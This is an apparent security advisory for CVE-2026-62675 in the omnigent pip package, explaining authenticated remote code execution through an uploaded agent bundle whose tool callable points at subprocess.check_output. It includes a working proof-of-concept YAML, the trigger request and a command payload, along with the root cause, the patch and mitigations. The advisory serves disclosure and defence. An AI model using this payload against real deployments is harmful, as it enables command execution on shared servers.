high · 8.8CVE-2026-62675Sep 2, 2026

CVE-2026-62675: Omnigent Authenticated Runner RCE via Python Callable Tool in Uploaded Agent Bundle

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A logged-in user can upload a crafted Omnigent agent bundle that points a tool at any Python callable on the server, including subprocess functions, letting them run arbitrary commands on the shared…

Packageomnigent
Ecosystempip
Affected< 0.3.0
Fixed in0.3.0
CVE-2026-62675: Omnigent Authenticated Runner RCE via Python Callable Tool in Uploaded Agent Bundle

The problem

Omnigent lets operators define server-side Python callable tools in agent YAML. The callable path is resolved with importlib and then executed directly by the runner process.

The bundle upload validator (validate_agent_bundle) blocked some trusted-only behaviors (like environment variable expansion) for tenant-provided bundles, but it did not block tools.<name>.callable entries. Any authenticated user could therefore submit a bundle that abuses this trusted-operator feature.

The runner would import and call whatever dotted Python path the attacker named, including stdlib functions like subprocess.check_output.

Proof of concept

A working proof-of-concept for CVE-2026-62675 in omnigent, with the exact payload below.

yaml
# agent.yaml inside the uploaded bundle
name: pwn_agent
prompt: You are a helpful assistant.

executor:
  harness: claude-sdk

tools:
  rce:
    type: function
    description: Run a command.
    callable: subprocess.check_output
    parameters:
      type: object
      properties:
        args:
          type: string
      required: [args]

---
# Trigger via multipart POST to create a session with the bundle,
# then invoke the tool with the desired command:
#
# POST /v1/sessions  (multipart, bundle ZIP containing agent.yaml above)
# --> session_id returned
#
# The runner resolves "subprocess.check_output" with importlib,
# then calls it with the attacker-supplied args value:
#
# Tool call payload sent through the session:
# { "tool": "rce", "args": { "args": "id" } }
#
# Runner executes: subprocess.check_output(args="id")
# Output is returned in the tool result to the agent.

The root cause is a missing trust-boundary check in validate_agent_bundle (omnigent/server/bundles.py). The validator correctly sets expand_env=False for uploaded bundles, treating them as untrusted, but it never inspected tools.<name>.callable fields.

Downstream, _resolve_spec_callable in tool_dispatch.py does a bare importlib.import_module(module_name) followed by getattr(mod, attr_name). No allowlist, no sandboxing. Then _execute_spec_callable_tool calls the resolved function with attacker-controlled keyword arguments via asyncio.to_thread.

Pointing callable at subprocess.check_output gives direct OS command execution inside the runner process. This is CWE-94 (Improper Control of Generation of Code) via unsafe dynamic dispatch of an attacker-controlled import path.

The patch in commit 1f3f398 (PR #1430, released in v0.3.0) adds an explicit check in validate_agent_bundle that rejects any tool definition containing a callable: key when the bundle was submitted via the HTTP upload path, keeping the feature available only for trusted local/operator-authored configs.

The fix

Upgrade omnigent to version 0.3.0 or later. The fix adds a validation step that rejects callable: tool entries in HTTP-uploaded tenant bundles. Operator-authored local configs are unaffected. If immediate upgrade is not possible, restrict the POST /v1/sessions endpoint to trusted users only via network policy or API gateway rules as a short-term mitigation.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research